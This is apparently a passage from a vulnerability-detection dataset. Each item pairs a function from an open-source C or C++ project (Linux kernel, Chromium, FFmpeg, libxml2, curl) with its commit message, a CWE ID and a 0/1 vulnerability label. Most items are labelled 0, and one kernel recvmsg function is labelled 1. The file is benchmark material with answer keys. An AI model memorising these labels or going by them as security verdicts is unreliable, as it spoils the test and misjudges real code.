bust_spinlocks(1);
#ifdef CONFIG_MIPS_MT_SMTC
mips_mt_regdump(dvpret);
#endif /* CONFIG_MIPS_MT_SMTC */
printk("%s[#%d]:\n", str, ++die_counter);
show_registers(regs);
add_taint(TAINT_DIE);
spin_unlock_irq(&die_lock);
if (in_interrupt())
panic("Fatal exception in interrupt");
if (panic_on_oops) {
printk(KERN_EMERG "Fatal exception: panic in 5 seconds\n");
ssleep(5);
panic("Fatal exception");
}
do_exit(sig);
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-399
| 0
| 18,266
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void LaunchPermissionUpdateInfoBar(
JNIEnv* env,
const JavaParamRef<jclass>& clazz,
const JavaParamRef<jobject>& tab,
const JavaParamRef<jstring>& jpermission,
jlong callback_id) {
TabAndroid* tab_android = TabAndroid::GetNativeTab(env, tab);
std::string permission =
base::android::ConvertJavaStringToUTF8(env, jpermission);
static_assert(
std::is_same<
DownloadControllerBase::AcquireFileAccessPermissionCallback,
base::Callback<void(bool)>>::value,
"Callback types don't match!");
std::unique_ptr<base::Callback<void(bool)>> cb(
reinterpret_cast<base::Callback<void(bool)>*>(callback_id));
std::vector<std::string> permissions;
permissions.push_back(permission);
PermissionUpdateInfoBarDelegate::Create(
tab_android->web_contents(),
permissions,
IDS_MISSING_STORAGE_PERMISSION_DOWNLOAD_EDUCATION_TEXT,
*cb);
}
Commit Message: Clean up Android DownloadManager code as most download now go through Chrome Network stack
The only exception is OMA DRM download.
And it only applies to context menu download interception.
Clean up the remaining unused code now.
BUG=647755
Review-Url: https://codereview.chromium.org/2371773003
Cr-Commit-Position: refs/heads/master@{#421332}
CWE ID: CWE-254
| 0
| 2,473
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int rds_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg,
size_t size, int msg_flags)
{
struct sock *sk = sock->sk;
struct rds_sock *rs = rds_sk_to_rs(sk);
long timeo;
int ret = 0, nonblock = msg_flags & MSG_DONTWAIT;
struct sockaddr_in *sin;
struct rds_incoming *inc = NULL;
/* udp_recvmsg()->sock_recvtimeo() gets away without locking too.. */
timeo = sock_rcvtimeo(sk, nonblock);
rdsdebug("size %zu flags 0x%x timeo %ld\n", size, msg_flags, timeo);
msg->msg_namelen = 0;
if (msg_flags & MSG_OOB)
goto out;
while (1) {
/* If there are pending notifications, do those - and nothing else */
if (!list_empty(&rs->rs_notify_queue)) {
ret = rds_notify_queue_get(rs, msg);
break;
}
if (rs->rs_cong_notify) {
ret = rds_notify_cong(rs, msg);
break;
}
if (!rds_next_incoming(rs, &inc)) {
if (nonblock) {
ret = -EAGAIN;
break;
}
timeo = wait_event_interruptible_timeout(*sk_sleep(sk),
(!list_empty(&rs->rs_notify_queue) ||
rs->rs_cong_notify ||
rds_next_incoming(rs, &inc)), timeo);
rdsdebug("recvmsg woke inc %p timeo %ld\n", inc,
timeo);
if (timeo > 0 || timeo == MAX_SCHEDULE_TIMEOUT)
continue;
ret = timeo;
if (ret == 0)
ret = -ETIMEDOUT;
break;
}
rdsdebug("copying inc %p from %pI4:%u to user\n", inc,
&inc->i_conn->c_faddr,
ntohs(inc->i_hdr.h_sport));
ret = inc->i_conn->c_trans->inc_copy_to_user(inc, msg->msg_iov,
size);
if (ret < 0)
break;
/*
* if the message we just copied isn't at the head of the
* recv queue then someone else raced us to return it, try
* to get the next message.
*/
if (!rds_still_queued(rs, inc, !(msg_flags & MSG_PEEK))) {
rds_inc_put(inc);
inc = NULL;
rds_stats_inc(s_recv_deliver_raced);
continue;
}
if (ret < be32_to_cpu(inc->i_hdr.h_len)) {
if (msg_flags & MSG_TRUNC)
ret = be32_to_cpu(inc->i_hdr.h_len);
msg->msg_flags |= MSG_TRUNC;
}
if (rds_cmsg_recv(inc, msg)) {
ret = -EFAULT;
goto out;
}
rds_stats_inc(s_recv_delivered);
sin = (struct sockaddr_in *)msg->msg_name;
if (sin) {
sin->sin_family = AF_INET;
sin->sin_port = inc->i_hdr.h_sport;
sin->sin_addr.s_addr = inc->i_saddr;
memset(sin->sin_zero, 0, sizeof(sin->sin_zero));
msg->msg_namelen = sizeof(*sin);
}
break;
}
if (inc)
rds_inc_put(inc);
out:
return ret;
}
Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <davem@davemloft.net>
Suggested-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20
| 1
| 10,378
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual void TearDown()
{
Platform::current()->unitTestSupport()->unregisterAllMockedURLs();
m_webViewImpl->close();
m_webViewImpl = 0;
m_mainFrame->close();
m_mainFrame = 0;
}
Commit Message: Revert 162155 "This review merges the two existing page serializ..."
Change r162155 broke the world even though it was landed using the CQ.
> This review merges the two existing page serializers, WebPageSerializerImpl and
> PageSerializer, into one, PageSerializer. In addition to this it moves all
> the old tests from WebPageNewSerializerTest and WebPageSerializerTest to the
> PageSerializerTest structure and splits out one test for MHTML into a new
> MHTMLTest file.
>
> Saving as 'Webpage, Complete', 'Webpage, HTML Only' and as MHTML when the
> 'Save Page as MHTML' flag is enabled now uses the same code, and should thus
> have the same feature set. Meaning that both modes now should be a bit better.
>
> Detailed list of changes:
>
> - PageSerializerTest: Prepare for more DTD test
> - PageSerializerTest: Remove now unneccesary input image test
> - PageSerializerTest: Remove unused WebPageSerializer/Impl code
> - PageSerializerTest: Move data URI morph test
> - PageSerializerTest: Move data URI test
> - PageSerializerTest: Move namespace test
> - PageSerializerTest: Move SVG Image test
> - MHTMLTest: Move MHTML specific test to own test file
> - PageSerializerTest: Delete duplicate XML header test
> - PageSerializerTest: Move blank frame test
> - PageSerializerTest: Move CSS test
> - PageSerializerTest: Add frameset/frame test
> - PageSerializerTest: Move old iframe test
> - PageSerializerTest: Move old elements test
> - Use PageSerizer for saving web pages
> - PageSerializerTest: Test for rewriting links
> - PageSerializer: Add rewrite link accumulator
> - PageSerializer: Serialize images in iframes/frames src
> - PageSerializer: XHTML fix for meta tags
> - PageSerializer: Add presentation CSS
> - PageSerializer: Rename out parameter
>
> BUG=
> R=abarth@chromium.org
>
> Review URL: https://codereview.chromium.org/68613003
TBR=tiger@opera.com
Review URL: https://codereview.chromium.org/73673003
git-svn-id: svn://svn.chromium.org/blink/trunk@162156 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 7,271
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool PaintLayerScrollableArea::HasHorizontalOverflow() const {
LayoutUnit client_width =
LayoutContentRect(kIncludeScrollbars).Width() -
VerticalScrollbarWidth(kIgnorePlatformAndCSSOverlayScrollbarSize);
if (NeedsRelayout() && !HadVerticalScrollbarBeforeRelayout())
client_width += VerticalScrollbarWidth();
LayoutUnit scroll_width(ScrollWidth());
LayoutUnit box_x = GetLayoutBox()->Location().X();
return SnapSizeToPixel(scroll_width, box_x) >
SnapSizeToPixel(client_width, box_x);
}
Commit Message: Always call UpdateCompositedScrollOffset, not just for the root layer
Bug: 927560
Change-Id: I1d5522aae4f11dd3f5b8947bb089bac1bf19bdb4
Reviewed-on: https://chromium-review.googlesource.com/c/1452701
Reviewed-by: Chris Harrelson <chrishtr@chromium.org>
Commit-Queue: Mason Freed <masonfreed@chromium.org>
Cr-Commit-Position: refs/heads/master@{#628942}
CWE ID: CWE-79
| 0
| 21,140
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ExecuteJavaScriptForTests(const std::string& js) {
base::RunLoop run_loop;
browser()
->tab_strip_model()
->GetActiveWebContents()
->GetMainFrame()
->ExecuteJavaScriptForTests(
base::ASCIIToUTF16(js),
base::BindOnce([](const base::Closure& quit_callback,
base::Value result) { quit_callback.Run(); },
run_loop.QuitClosure()));
run_loop.Run();
}
Commit Message: Revert "PageInfo: decouple safe browsing and TLS statii."
This reverts commit ee95bc44021230127c7e6e9a8cf9d3820760f77c.
Reason for revert: suspect causing unit_tests failure on Linux MSAN Tests:
https://ci.chromium.org/p/chromium/builders/ci/Linux%20MSan%20Tests/17649
PageInfoBubbleViewTest.ChangingFlashSettingForSiteIsRemembered
PageInfoBubbleViewTest.EnsureCloseCallback
PageInfoBubbleViewTest.NotificationPermissionRevokeUkm
PageInfoBubbleViewTest.OpenPageInfoBubbleAfterNavigationStart
PageInfoBubbleViewTest.SetPermissionInfo
PageInfoBubbleViewTest.SetPermissionInfoForUsbGuard
PageInfoBubbleViewTest.SetPermissionInfoWithPolicyUsbDevices
PageInfoBubbleViewTest.SetPermissionInfoWithUsbDevice
PageInfoBubbleViewTest.SetPermissionInfoWithUserAndPolicyUsbDevices
PageInfoBubbleViewTest.UpdatingSiteDataRetainsLayout
https://logs.chromium.org/logs/chromium/buildbucket/cr-buildbucket.appspot.com/8909718923797040064/+/steps/unit_tests/0/logs/Deterministic_failure:_PageInfoBubbleViewTest.ChangingFlashSettingForSiteIsRemembered__status_CRASH_/0
[ RUN ] PageInfoBubbleViewTest.ChangingFlashSettingForSiteIsRemembered
==9056==WARNING: MemorySanitizer: use-of-uninitialized-value
#0 0x561baaab15ec in PageInfoUI::GetSecurityDescription(PageInfoUI::IdentityInfo const&) const ./../../chrome/browser/ui/page_info/page_info_ui.cc:250:3
#1 0x561bab6a1548 in PageInfoBubbleView::SetIdentityInfo(PageInfoUI::IdentityInfo const&) ./../../chrome/browser/ui/views/page_info/page_info_bubble_view.cc:802:7
#2 0x561baaaab3bb in PageInfo::PresentSiteIdentity() ./../../chrome/browser/ui/page_info/page_info.cc:969:8
#3 0x561baaaa0a21 in PageInfo::PageInfo(PageInfoUI*, Profile*, TabSpecificContentSettings*, content::WebContents*, GURL const&, security_state::SecurityLevel, security_state::VisibleSecurityState const&) ./../../chrome/browser/ui/page_info/page_info.cc:344:3
#4 0x561bab69b6dd in PageInfoBubbleView::PageInfoBubbleView(views::View*, gfx::Rect const&, aura::Window*, Profile*, content::WebContents*, GURL const&, security_state::SecurityLevel, security_state::VisibleSecurityState const&, base::OnceCallback<void (views::Widget::ClosedReason, bool)>) ./../../chrome/browser/ui/views/page_info/page_info_bubble_view.cc:576:24
...
Original change's description:
> PageInfo: decouple safe browsing and TLS statii.
>
> Previously, the Page Info bubble maintained a single variable to
> identify all reasons that a page might have a non-standard status. This
> lead to the display logic making assumptions about, for instance, the
> validity of a certificate when the page was flagged by Safe Browsing.
>
> This CL separates out the Safe Browsing status from the site identity
> status so that the page info bubble can inform the user that the site's
> certificate is invalid, even if it's also flagged by Safe Browsing.
>
> Bug: 869925
> Change-Id: I34107225b4206c8f32771ccd75e9367668d0a72b
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1662537
> Reviewed-by: Mustafa Emre Acer <meacer@chromium.org>
> Reviewed-by: Bret Sepulveda <bsep@chromium.org>
> Auto-Submit: Joe DeBlasio <jdeblasio@chromium.org>
> Commit-Queue: Joe DeBlasio <jdeblasio@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#671847}
TBR=meacer@chromium.org,bsep@chromium.org,jdeblasio@chromium.org
Change-Id: I8be652952e7276bcc9266124693352e467159cc4
No-Presubmit: true
No-Tree-Checks: true
No-Try: true
Bug: 869925
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1673985
Reviewed-by: Takashi Sakamoto <tasak@google.com>
Commit-Queue: Takashi Sakamoto <tasak@google.com>
Cr-Commit-Position: refs/heads/master@{#671932}
CWE ID: CWE-311
| 0
| 24,074
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DevToolsWindow::InspectElement(
content::RenderFrameHost* inspected_frame_host,
int x,
int y) {
scoped_refptr<DevToolsAgentHost> agent(
DevToolsAgentHost::GetOrCreateFor(inspected_frame_host));
bool should_measure_time = FindDevToolsWindow(agent.get()) == NULL;
base::TimeTicks start_time = base::TimeTicks::Now();
if (agent->GetType() == content::DevToolsAgentHost::kTypePage) {
OpenDevToolsWindow(agent->GetWebContents());
} else {
OpenDevToolsWindowForFrame(Profile::FromBrowserContext(
agent->GetBrowserContext()), agent);
}
DevToolsWindow* window = FindDevToolsWindow(agent.get());
if (window) {
agent->InspectElement(window->bindings_, x, y);
if (should_measure_time)
window->inspect_element_start_time_ = start_time;
}
}
Commit Message: [DevTools] Move sanitize url to devtools_ui.cc.
Compatibility script is not reliable enough.
BUG=653134
Review-Url: https://codereview.chromium.org/2403633002
Cr-Commit-Position: refs/heads/master@{#425814}
CWE ID: CWE-200
| 0
| 20,828
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MojoVideoEncodeAcceleratorService::MojoVideoEncodeAcceleratorService(
const CreateAndInitializeVideoEncodeAcceleratorCallback&
create_vea_callback,
const gpu::GpuPreferences& gpu_preferences)
: create_vea_callback_(create_vea_callback),
gpu_preferences_(gpu_preferences),
output_buffer_size_(0),
weak_factory_(this) {
DVLOG(1) << __func__;
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
| 0
| 19,235
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static cmsHTRANSFORM *AcquireTransformThreadSet(Image *image,
const cmsHPROFILE source_profile,const cmsUInt32Number source_type,
const cmsHPROFILE target_profile,const cmsUInt32Number target_type,
const int intent,const cmsUInt32Number flags)
{
cmsHTRANSFORM
*transform;
register ssize_t
i;
size_t
number_threads;
number_threads=(size_t) GetMagickResourceLimit(ThreadResource);
transform=(cmsHTRANSFORM *) AcquireQuantumMemory(number_threads,
sizeof(*transform));
if (transform == (cmsHTRANSFORM *) NULL)
return((cmsHTRANSFORM *) NULL);
(void) ResetMagickMemory(transform,0,number_threads*sizeof(*transform));
for (i=0; i < (ssize_t) number_threads; i++)
{
transform[i]=cmsCreateTransformTHR((cmsContext) image,source_profile,
source_type,target_profile,target_type,intent,flags);
if (transform[i] == (cmsHTRANSFORM) NULL)
return(DestroyTransformThreadSet(transform));
}
return(transform);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/354
CWE ID: CWE-415
| 0
| 20,815
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void state(struct connectdata *conn, smtpstate newstate)
{
struct smtp_conn *smtpc = &conn->proto.smtpc;
#if defined(DEBUGBUILD) && !defined(CURL_DISABLE_VERBOSE_STRINGS)
/* for debug purposes */
static const char * const names[] = {
"STOP",
"SERVERGREET",
"EHLO",
"HELO",
"STARTTLS",
"UPGRADETLS",
"AUTH",
"COMMAND",
"MAIL",
"RCPT",
"DATA",
"POSTDATA",
"QUIT",
/* LAST */
};
if(smtpc->state != newstate)
infof(conn->data, "SMTP %p state change from %s to %s\n",
(void *)smtpc, names[smtpc->state], names[newstate]);
#endif
smtpc->state = newstate;
}
Commit Message: smtp: use the upload buffer size for scratch buffer malloc
... not the read buffer size, as that can be set smaller and thus cause
a buffer overflow! CVE-2018-0500
Reported-by: Peter Wu
Bug: https://curl.haxx.se/docs/adv_2018-70a2.html
CWE ID: CWE-119
| 0
| 19,129
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebPage::setMinimumScale(double minimumScale)
{
d->setMinimumScale(minimumScale);
}
Commit Message: [BlackBerry] Adapt to new BlackBerry::Platform::TouchPoint API
https://bugs.webkit.org/show_bug.cgi?id=105143
RIM PR 171941
Reviewed by Rob Buis.
Internally reviewed by George Staikos.
Source/WebCore:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit.
Also adapt to new method names and encapsulation of TouchPoint data
members.
No change in behavior, no new tests.
* platform/blackberry/PlatformTouchPointBlackBerry.cpp:
(WebCore::PlatformTouchPoint::PlatformTouchPoint):
Source/WebKit/blackberry:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit. One exception
is when passing events to a full screen plugin.
Also adapt to new method names and encapsulation of TouchPoint data
members.
* Api/WebPage.cpp:
(BlackBerry::WebKit::WebPage::touchEvent):
(BlackBerry::WebKit::WebPage::touchPointAsMouseEvent):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchEventToFullScreenPlugin):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchPointAsMouseEventToFullScreenPlugin):
* WebKitSupport/InputHandler.cpp:
(BlackBerry::WebKit::InputHandler::shouldRequestSpellCheckingOptionsForPoint):
* WebKitSupport/InputHandler.h:
(InputHandler):
* WebKitSupport/TouchEventHandler.cpp:
(BlackBerry::WebKit::TouchEventHandler::doFatFingers):
(BlackBerry::WebKit::TouchEventHandler::handleTouchPoint):
* WebKitSupport/TouchEventHandler.h:
(TouchEventHandler):
Tools:
Adapt to new method names and encapsulation of TouchPoint data members.
* DumpRenderTree/blackberry/EventSender.cpp:
(addTouchPointCallback):
(updateTouchPointCallback):
(touchEndCallback):
(releaseTouchPointCallback):
(sendTouchEvent):
git-svn-id: svn://svn.chromium.org/blink/trunk@137880 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 2,801
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void reflectUnsignedShortAttributeAttributeGetter(const v8::PropertyCallbackInfo<v8::Value>& info)
{
TestObjectPython* imp = V8TestObjectPython::toNative(info.Holder());
v8SetReturnValueUnsigned(info, std::max(0, imp->fastGetAttribute(HTMLNames::reflectunsignedshortattributeAttr)));
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 20,249
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int decode_user_data(Mpeg4DecContext *ctx, GetBitContext *gb)
{
MpegEncContext *s = &ctx->m;
char buf[256];
int i;
int e;
int ver = 0, build = 0, ver2 = 0, ver3 = 0;
char last;
for (i = 0; i < 255 && get_bits_count(gb) < gb->size_in_bits; i++) {
if (show_bits(gb, 23) == 0)
break;
buf[i] = get_bits(gb, 8);
}
buf[i] = 0;
/* divx detection */
e = sscanf(buf, "DivX%dBuild%d%c", &ver, &build, &last);
if (e < 2)
e = sscanf(buf, "DivX%db%d%c", &ver, &build, &last);
if (e >= 2) {
ctx->divx_version = ver;
ctx->divx_build = build;
s->divx_packed = e == 3 && last == 'p';
}
/* libavcodec detection */
e = sscanf(buf, "FFmpe%*[^b]b%d", &build) + 3;
if (e != 4)
e = sscanf(buf, "FFmpeg v%d.%d.%d / libavcodec build: %d", &ver, &ver2, &ver3, &build);
if (e != 4) {
e = sscanf(buf, "Lavc%d.%d.%d", &ver, &ver2, &ver3) + 1;
if (e > 1) {
if (ver > 0xFFU || ver2 > 0xFFU || ver3 > 0xFFU) {
av_log(s->avctx, AV_LOG_WARNING,
"Unknown Lavc version string encountered, %d.%d.%d; "
"clamping sub-version values to 8-bits.\n",
ver, ver2, ver3);
}
build = ((ver & 0xFF) << 16) + ((ver2 & 0xFF) << 8) + (ver3 & 0xFF);
}
}
if (e != 4) {
if (strcmp(buf, "ffmpeg") == 0)
ctx->lavc_build = 4600;
}
if (e == 4)
ctx->lavc_build = build;
/* Xvid detection */
e = sscanf(buf, "XviD%d", &build);
if (e == 1)
ctx->xvid_build = build;
return 0;
}
Commit Message: avcodec/mpeg4videodec: Check for bitstream end in read_quant_matrix_ext()
Fixes: out of array read
Fixes: asff-crash-0e53d0dc491dfdd507530b66562812fbd4c36678
Found-by: Paul Ch <paulcher@icloud.com>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-125
| 0
| 6,204
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ft_smooth_init( FT_Renderer render )
{
FT_Library library = FT_MODULE_LIBRARY( render );
render->clazz->raster_class->raster_reset( render->raster,
library->raster_pool,
library->raster_pool_size );
return 0;
}
Commit Message:
CWE ID: CWE-189
| 0
| 3,747
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool GLES2DecoderImpl::GetUniformSetup(
GLuint program, GLint fake_location,
uint32 shm_id, uint32 shm_offset,
error::Error* error, GLint* real_location,
GLuint* service_id, void** result_pointer, GLenum* result_type) {
DCHECK(error);
DCHECK(service_id);
DCHECK(result_pointer);
DCHECK(result_type);
DCHECK(real_location);
*error = error::kNoError;
SizedResult<GLint>* result;
result = GetSharedMemoryAs<SizedResult<GLint>*>(
shm_id, shm_offset, SizedResult<GLint>::ComputeSize(0));
if (!result) {
*error = error::kOutOfBounds;
return false;
}
*result_pointer = result;
result->SetNumResults(0);
ProgramManager::ProgramInfo* info = GetProgramInfoNotShader(
program, "glGetUniform");
if (!info) {
return false;
}
if (!info->IsValid()) {
SetGLError(GL_INVALID_OPERATION, "glGetUniform", "program not linked");
return false;
}
*service_id = info->service_id();
GLint array_index = -1;
const ProgramManager::ProgramInfo::UniformInfo* uniform_info =
info->GetUniformInfoByFakeLocation(
fake_location, real_location, &array_index);
if (!uniform_info) {
SetGLError(GL_INVALID_OPERATION, "glGetUniform", "unknown location");
return false;
}
GLenum type = uniform_info->type;
GLsizei size = GLES2Util::GetGLDataTypeSizeForUniforms(type);
if (size == 0) {
SetGLError(GL_INVALID_OPERATION, "glGetUniform", "unknown type");
return false;
}
result = GetSharedMemoryAs<SizedResult<GLint>*>(
shm_id, shm_offset, SizedResult<GLint>::ComputeSizeFromBytes(size));
if (!result) {
*error = error::kOutOfBounds;
return false;
}
result->size = size;
*result_type = type;
return true;
}
Commit Message: Fix SafeAdd and SafeMultiply
BUG=145648,145544
Review URL: https://chromiumcodereview.appspot.com/10916165
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@155478 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 25,254
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ass_detect_change(ASS_Renderer *priv)
{
ASS_Image *img, *img2;
int diff;
if (priv->state.has_clips)
return 2;
img = priv->prev_images_root;
img2 = priv->images_root;
diff = 0;
while (img && diff < 2) {
ASS_Image *next, *next2;
next = img->next;
if (img2) {
int d = ass_image_compare(img, img2);
if (d > diff)
diff = d;
next2 = img2->next;
} else {
diff = 2;
break;
}
img = next;
img2 = next2;
}
if (img2)
diff = 2;
return diff;
}
Commit Message: Fix line wrapping mode 0/3 bugs
This fixes two separate bugs:
a) Don't move a linebreak into the first symbol. This results in a empty
line at the front, which does not help to equalize line lengths at all.
b) When moving a linebreak into a symbol that already is a break, the
number of lines must be decremented. Otherwise, uninitialized memory
is possibly used for later layout operations.
Found by fuzzer test case
id:000085,sig:11,src:003377+003350,op:splice,rep:8.
CWE ID: CWE-125
| 0
| 670
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlCreateIOParserCtxt(xmlSAXHandlerPtr sax, void *user_data,
xmlInputReadCallback ioread, xmlInputCloseCallback ioclose,
void *ioctx, xmlCharEncoding enc) {
xmlParserCtxtPtr ctxt;
xmlParserInputPtr inputStream;
xmlParserInputBufferPtr buf;
if (ioread == NULL) return(NULL);
buf = xmlParserInputBufferCreateIO(ioread, ioclose, ioctx, enc);
if (buf == NULL) {
if (ioclose != NULL)
ioclose(ioctx);
return (NULL);
}
ctxt = xmlNewParserCtxt();
if (ctxt == NULL) {
xmlFreeParserInputBuffer(buf);
return(NULL);
}
if (sax != NULL) {
#ifdef LIBXML_SAX1_ENABLED
if (ctxt->sax != (xmlSAXHandlerPtr) &xmlDefaultSAXHandler)
#endif /* LIBXML_SAX1_ENABLED */
xmlFree(ctxt->sax);
ctxt->sax = (xmlSAXHandlerPtr) xmlMalloc(sizeof(xmlSAXHandler));
if (ctxt->sax == NULL) {
xmlErrMemory(ctxt, NULL);
xmlFreeParserCtxt(ctxt);
return(NULL);
}
memset(ctxt->sax, 0, sizeof(xmlSAXHandler));
if (sax->initialized == XML_SAX2_MAGIC)
memcpy(ctxt->sax, sax, sizeof(xmlSAXHandler));
else
memcpy(ctxt->sax, sax, sizeof(xmlSAXHandlerV1));
if (user_data != NULL)
ctxt->userData = user_data;
}
inputStream = xmlNewIOInputStream(ctxt, buf, enc);
if (inputStream == NULL) {
xmlFreeParserCtxt(ctxt);
return(NULL);
}
inputPush(ctxt, inputStream);
return(ctxt);
}
Commit Message: Detect infinite recursion in parameter entities
When expanding a parameter entity in a DTD, infinite recursion could
lead to an infinite loop or memory exhaustion.
Thanks to Wei Lei for the first of many reports.
Fixes bug 759579.
CWE ID: CWE-835
| 0
| 11,525
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int download_fw(struct edgeport_serial *serial)
{
struct device *dev = &serial->serial->interface->dev;
int status = 0;
struct usb_interface_descriptor *interface;
const struct firmware *fw;
const char *fw_name = "edgeport/down3.bin";
struct edgeport_fw_hdr *fw_hdr;
status = request_firmware(&fw, fw_name, dev);
if (status) {
dev_err(dev, "Failed to load image \"%s\" err %d\n",
